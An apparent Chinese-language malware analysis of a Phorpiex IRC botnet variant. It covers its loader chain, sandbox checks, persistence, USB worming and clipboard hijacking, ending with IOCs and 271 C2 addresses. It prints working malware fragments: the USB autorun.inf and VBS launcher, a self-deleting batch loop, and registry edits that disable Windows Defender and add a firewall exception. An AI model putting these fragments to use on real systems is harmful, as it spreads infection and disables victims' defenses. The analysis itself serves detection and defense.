一例Phorpiex僵尸网络变种的分析

概述

这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播,通过IRC协议连接C2服务器,内嵌了271个c2地址,会检测沙箱,替换系统剪贴板内容。

样本的基本信息

文件大小: 126 KB (129,638 字节)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32安装程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]链接程序: Microsoft Linker(6.0*)[GUI32]附加: Binary数据: NSIS data

是一个nsis打包的自解压程序,使用7zip 15.05 解压后如下,有3个目录

│  [NSIS].nsi
│  
├─$PLUGINSDIR
│      InstallOptions.dll
│      ioSpecial.ini
│      modern-header.bmp
│      modern-wizard.bmp
│      System.dll
│      
├─$TEMP
│      Flaminius.dll
│      Preoral.dat
│      
└─$_4_└─$_4_Uninstall.exe

[NSIS].nsi脚本中有一段,说明程序的入口在Flaminius.dll。

 SetOutPath $TEMPFile Preoral.datFile Flaminius.dllSystem::Call Flaminius::Ninth

重点分析这个Flaminius.dll

第二阶段 加载器 Flaminius.dll

样本的基本信息

Flaminius.dll:
Verified:    Unsigned
Link date:    12:27 2016/9/2
Publisher:    n/a
Company:    Adobe Systems Incorporated
Description:    Adobe Setup
Product:    Adobe Setup
Prod version:    8,0,0,15
File version:    8,0,0,15
MachineType:    32-bit
MD5:    12DD13145E30FD83685161905E9A22B1
SHA1:    8822796E570D9D002A04610362A787CF410A3ACDPE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]编译器: Microsoft Visual C/C++(6.0)[msvcrt]链接程序: Microsoft Linker(6.0*)[DLL32]Preoral.dat:
Verified:    Unsigned
File date:    21:18 2017/11/20
MD5:    85F94AE59CC3C63B1FA621BBF7723F44
SHA1:    80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872

Flaminius.dll读取Preoral.dat的内容,在内存中解密,调用RtlDecompressBuffer函数解压后是一个pe,创建一个同名的傀儡进程,将这个pe注入其中。
使用OD动态调试,将这个pe dump出来分析。这个样本静态分析不太容易,其几乎所有的api都动态获取的。

第三阶段 解密解压后的pe

这个pe是病毒的主体,主要功能都在里头。
样本的基本信息

Verified:    Unsigned
Link date:    5:35 2017/11/19
MachineType:    32-bit
文件大小: 33.0 KB (33,792 字节 0x8400)
MD5:    35FFA90B7F75D4DB208436994BED3D3E
SHA1:    4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]编译器: Microsoft Visual C/C++(2008 SP1)[msvcrt]链接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb

使用IDA打开很容易分析明白。
首先检测当前环境是否在沙箱中。通过查询硬盘的ProductId中是否含有关键字qemu、virtual  、vmware、xen来判断当前环境是否为沙箱。

若是沙箱话,自毁并退出。自毁通过bat文件来实现,在临时目录下创建一个bat文件,文件名为10个字节的随机字符串。内容如下

:repeat
del "病毒路径"
if exist "病毒路径" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[随机10个字符].bat"

创建互斥量 t46,防双开。
删除文件 病毒路径:Zone.Identifier。(Zone.Identifier文件中的内容是一个文本文件,其中包含了有关下载文件的安全区域的信息。该信息主要用于确定下载文件的来源,并提供安全警告或限制性措施)。

首先感染系统,在系统中创建副本,路径为下面三个之一,目录M-505052074572749672056208574286582740540winmgr.exe文件。

%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe

修改下列注册表项

添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在这个配置中,该应用程序被授权通过系统防火墙。具体的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示应用程序的路径。
- `*:Enabled` 表示开启所有协议(TCP和UDP)的授权。
- `Microsoft Windows Manager` 是说明或备注,表示这个应用程序是"Microsoft Windows Manager"。添加开机启动项,启动项名为Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4

首先感染系统会运行系统中的副本,然后退出当前进程。
创建三个线程,执行恶意操作。主要是感染可移动存储介质和远程驱动器、替换剪贴板中的内容、通过IRC协议连接C2执行恶意操作。

下面详细讲一下这三个线程的功能。

感染可移动存储介质

在U盘的根目录下创建了三个文件(DeviceConfigManager.vbsautorun.inf.lnk),一个目录(_),只有.lnk文件是显示状态,其它文件都被隐藏了。


.lnk文件如下,其图标为驱动器图标,指向同目录下的DeviceConfigManager.vbs

DeviceConfigManager.vbs的内容如下,这是一个vbs文件,其中的变量名是随机生成的,其中还有一些混淆代码没有显示。这个vbs的功能是关闭当前窗口,并打开名为_的文件夹和_\DeviceConfigManager.exe文件。

...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")'向系统发送键盘命令,具体是`%{F4}`,表示按下"Alt + F4"键组合,用于关闭当前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"'若存在名为"_"的文件夹,打开该文件夹。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If'若存在名为"\DeviceConfigManager.exe"的文件,以最大化方式打开该文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If

autorun.inf文件如下,其中有混淆的部分(未显示),这是一个自动运行脚本的标准autorun.inf文件,内容如下,这个autorun.inf文件的作用是在U盘插入计算机时自动运行U盘根目录下的"_\DeviceConfigManager.exe"文件,并设置U盘的图标为系统SHELL32.dll文件的第4个图标(文件夹图标)。同时启用了AutoPlay功能,用于实现病毒的自启动。

[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1

目录_下的为病毒的副本(DeviceConfigManager.exe)和原来U盘内的文件。

替换剪贴板的内容

根据以下规则替换系统剪贴板的文本内容

  • 首字母在为这些字母13B2XDE0L4PARrtz之一
  • 首字母为4或2,若长度为在90和115之间
  • 首字母不是4或2,若长度在25到45之间
  • 不含有O、I、l三个字符
  • 只含有字母和数字字符

若满足上面的条件,根据下面的规则替剪贴板中的内容。不知道其作用是啥。

连接C2地址

样本中内嵌了1个c2 IP和270个c2域名,见IOC部分。
会依次连接这些c2,若找到可用的c2地址后,使用IRC协议与C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。

主要的功能有:

  • 自毁
  • 获取主机信息
  • 下载载荷执行,或更新自身
    首先通过访问http://api.wipmania.com/来获取当前的IP地域,与命令中区域信息比对。

    下载一个pe保存在临时目录下(文件名为随机的10位字符),执行。若有更新命令,退出当前进程。

IOC

hash
9365b48827f3cb8197a848b5541e44dc 原始样本 
12DD13145E30FD83685161905E9A22B1 加载器Flaminius.dll 
85F94AE59CC3C63B1FA621BBF7723F44 加密的载荷 Preoral.dat 
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡进程的部分 文件
主机中
%temp%\[随机10个字符].bat 自毁脚本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本 
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[随机10个字符].exe 下载的载荷U盘中
X:\DeviceConfigManager.vbs 启动病毒打开目录_
X:\autorun.inf 用于自启动
X:\.lnk 诱导用户点击的快捷方式
X:\_\DeviceConfigManager.exe 病毒母体互斥量  t46注册表
添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
开机自启动
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
关闭winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4网络
http://api.wipmania.com/ 用于的获取当前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050

总结

这个样本使用了侧加载的技术,核心模块不落地,有检测沙箱的功能,通过IRC协议请求命令,很有代表性。

参考资料

  • NSIS 脚本提取教程 - 哔哩哔哩 (bilibili.com)

  • 2018年还有哪些通过U盘传播的病毒? - 知乎 (zhihu.com)

  • Phorpiex - An IRC worm - Full reversal for the fun of it (bin.re)

  • irc使用教程 - zqifa - 博客园 (cnblogs.com)

  • IRC(Internet Relay Chat)(因特网中继聊天)协议——RFC1459文档要点总结 - 知乎 (zhihu.com)

  • RFC 1459 - Internet Relay Chat Protocol (RFC1459) (faqs.org)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/703112.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单链表题-ysf-反转-中间节点-回文-合并-分割

环形链表的约瑟夫问题_牛客题霸_牛客网 经典的约瑟夫环 #include <stdint.h> #include <stdlib.h> //创建链表 typedef struct ListNode ListNode;ListNode* buyNode(int x){ListNode* newNode(ListNode*)malloc(sizeof(ListNode));if(newNodeNULL){exit(1);}newN…

【Linux取经路】进程通信之匿名管道

文章目录 一、进程间通信介绍1.1 进程间通信是什么&#xff1f;1.2 进程间通信的目的1.3 进程通信该如何实现 二、管道2.1 匿名管道2.1.1 站在文件描述符角度深入理解管道2.1.2 接口使用2.1.3 PIPE_BUFFER 和 Pipe capacity2.1.4 管道中的四种情况2.1.5 管道特征总结 2.2 匿名管…

ORACLE ODAX9-2的一个误告警Affects: /SYS/MB的分析处理

在运维的多套ORACLE ODAX9-2版本&#xff0c;都遇到了一个计算节点的告警&#xff1a;Description: The service Processor poweron selftest has deteced a problem. Probabity;:100, UulD:cd1ebbdf-f099-61de-ca44-ef646defe034, Resource:/SYS/MB,&#xff1b;此告警从描述上…

优雅草便民工具v2.0.3更新

优雅草便民工具v2.0.3更新 2024年5月13日v2.0.3更新优雅草便民工具youyacao-tools-界面大改版增强用户体验 apk下载 https://fenfacun.youyacao.com/tools203.apk 介绍 优雅草便民工具是一款由成都市一颗优雅草科技有限公司打造的便民查询公益工具&#xff0c;2024年1月17…

202009青少年软件编程(Python)等级考试试卷(三级)B卷

第 1 题 【单选题】 关于利用CSV模块对文件进行操作,下列描述不正确的是&#xff1f; A :CSV是一种常用的文本格式,使用逗号分隔值的 B :CSV模块是Python的内置模块,包含很多函数,可以非常方便地读取和写入数据 C :由于CSV模块是Python的内置模块,所以可直接使用,无需引入 …

【全开源】国际版JAVA同城服务美容美发到店服务上门服务系统源码支持Android+IOS+H5

国际版同城服务美容美发到店与上门服务系统&#xff1a;一站式打造美丽新体验 随着人们生活水平的提高和审美观念的升级&#xff0c;美容美发服务已成为人们日常生活中不可或缺的一部分。为了满足全球消费者的多样化需求&#xff0c;我们推出了“国际版同城服务美容美发到店与…

力扣98.验证二叉搜索树

法一&#xff08;自己思路&#xff0c;复杂了&#xff09;&#xff1a; from collections import dequeclass Solution(object):def isValidBST(self, root):""":type root: TreeNode:rtype: bool"""queue deque()if root.left!None:queue.app…

男士内裤什么牌子的好?五大质量出众男士内裤汇总

许多男性朋友在挑选男士内裤时&#xff0c;常常因市场上琳琅满目的品牌和多样化的材质而感到困惑&#xff0c;不知从何下手。然而&#xff0c;选择男士内裤并非一件小事&#xff0c;它关乎着舒适感、透气性以及抗菌效果等多方面的体验。因此&#xff0c;在选购男士内裤时&#…

线性/非线性最小二乘 与 牛顿/高斯牛顿/LM 原理及算法

最小二乘分为线性最小二乘和非线性最小二乘 最小二乘目标函数都是min ||f(x)||2 若f(x) ax b&#xff0c;就是线性最小二乘&#xff1b;若f(x) ax2 b / ax2 bx 之类的&#xff0c;就是非线性最小二乘&#xff1b; 1. 求解线性最小二乘 【参考】 2. 求解非线性最小二乘…

并发问题系统学习

进程、线程 进程&#xff1a;进程是代码在数据集合上的一次运行活动&#xff0c;是系统进行资源分配和调度的基本单位。可以理解为一个java应用。 线程&#xff1a;线程是进程的一个执行路径&#xff0c;一个进程中至少有一个线程&#xff0c;进程中的多个线程共享进程的资源。…

易基因: WGBS等揭示梨驯化和改良过程中DNA甲基化对果实成熟的作用机制 | 作物育种

大家好&#xff0c;这里是专注表观组学十余年&#xff0c;领跑多组学科研服务的易基因。 梨&#xff08;Pyrus ssp.&#xff0c;蔷薇科杏仁核亚科&#xff09;是世界上最重要的温带水果作物之一。与野生梨相比&#xff0c;栽培梨的果实在许多形态特征上表现出显著变化&#xf…

出国旅游常用英语,柯桥成人英语培训

Where can I catch a taxi?哪里我可以叫到出租车&#xff1f; The taxi zone is right on the left corner over there.出租车站台就在左边转角处。 Are you free?您有空吗&#xff1f; Sure. Where are you going?当然。您要去哪里&#xff1f; Drive me back to Santa …